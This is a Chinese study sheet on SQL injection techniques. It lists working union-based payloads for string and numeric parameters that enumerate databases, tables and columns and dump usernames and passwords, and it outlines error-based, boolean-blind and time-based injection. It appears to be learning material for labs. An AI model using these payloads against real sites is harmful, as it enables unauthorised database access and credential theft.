闭合方式: ’ ” ‘) ”)
注释符号:--+ # %23
union注入
字符型
1.查找注入点
2.判断数字型还是字符型
id=1 and 1=1成功
id=1 and 1=2成功
3.判断闭合及注释方式(需要闭合!)
4.查询列(order by group by(不易被拦截))
id=1' group by 1--+
id=1' group by 2--+
......
5.查询回显位
id=-1' union select 1,2,3--+(与前面的列要保持一致)
id=-1' union select 1,2,database()--+
id=-1' union select 1,version(),3--+
因为页面只能显示一个内容,so为了显示我们真正要查询的数据,将id=后改为0或者负数
6.查询表名
id=-1' union select 1,2 table_name from information_schema_tables where table_schema=database()--+
(其中database()可以替换成上一步查询到的数据库名)
7.查询列名
id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
同理database()可以替换,users为刚刚查询到的表名(一定要加单引号!!!)
或者:
id=0 union select 1,(group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'),3--+
优先执行小括号
8.拿到用户名和密码
id=0 union select 1,group_concat(username,'~',password),3 from users--+
'~'只是为了区分数据,方便查看
数字型
1.查找注入点
2.判断数字型还是字符型 1=2 或者 做减法(尽量不用加法)
id=1 and 1=1成功
id=2 and 1=2失败
3.判断注释方式(不需要 闭合!)
4.查询列(order by group by(不易被防火墙拦截))
id=1 group by 1--+
id=1 group by 2--+
......
5.查询回显位
id=-1 union select 1,2,3--+(与前面的列要保持一致)
id=-1 union select 1,2,database()--+
id=-1 union select 1,version(),3--+
......(除了不用闭合其他与字符型一样)
报错注入
url中输对了页面没反应,输错了有报错(所以咱故意输错得到数据)
extractvalue报错注入
concat为拼接函数(将后面俩玩意儿拼起来)0x74是ascll编码的“~”
查表名
查列名
报错注入只能返回不过32个字符,所以使用substring
substring(12345,3,2)意思是从12345的第3个字符开始向后显示两个字符 得到34。
updatexml报错注入
updatexml报错注入与extractvalue非常相似
其他的都差不多
floor报错注入
查表名
查列名
查用户名和密码
使用group_concat没显示就用concat
rand():随机返回0~1间的小数
floor():小数向下取整
ceiling():小数向上取整
concat_ws():将括号内数据用第一个字段连接起来
group by子句:分组语句
as:别名
count():统计数量
limit:这里用于显示指定行数
布尔盲注
无回显无报错
判断闭合方式
查表名
结合ASCLL码表一个字母一个字母地判断
查列名
结合ASCLL码表一个字母一个字母地判断
查用户名
结合ASCLL码表一个字母一个字母地判断
limit 0,1:从第0行开始,显示1行(从0开始计数)
substr((查询的东西),n,1):从第n个字母开始,显示1个字母(从n开始计数)
时间注入
建立在布尔盲注的基础上
闭合符判断
结合ASCLL码表一个字母一个字母地判断
if(a,b,d):如果a成立,则执行b,不成立执行d
sql注入文件上传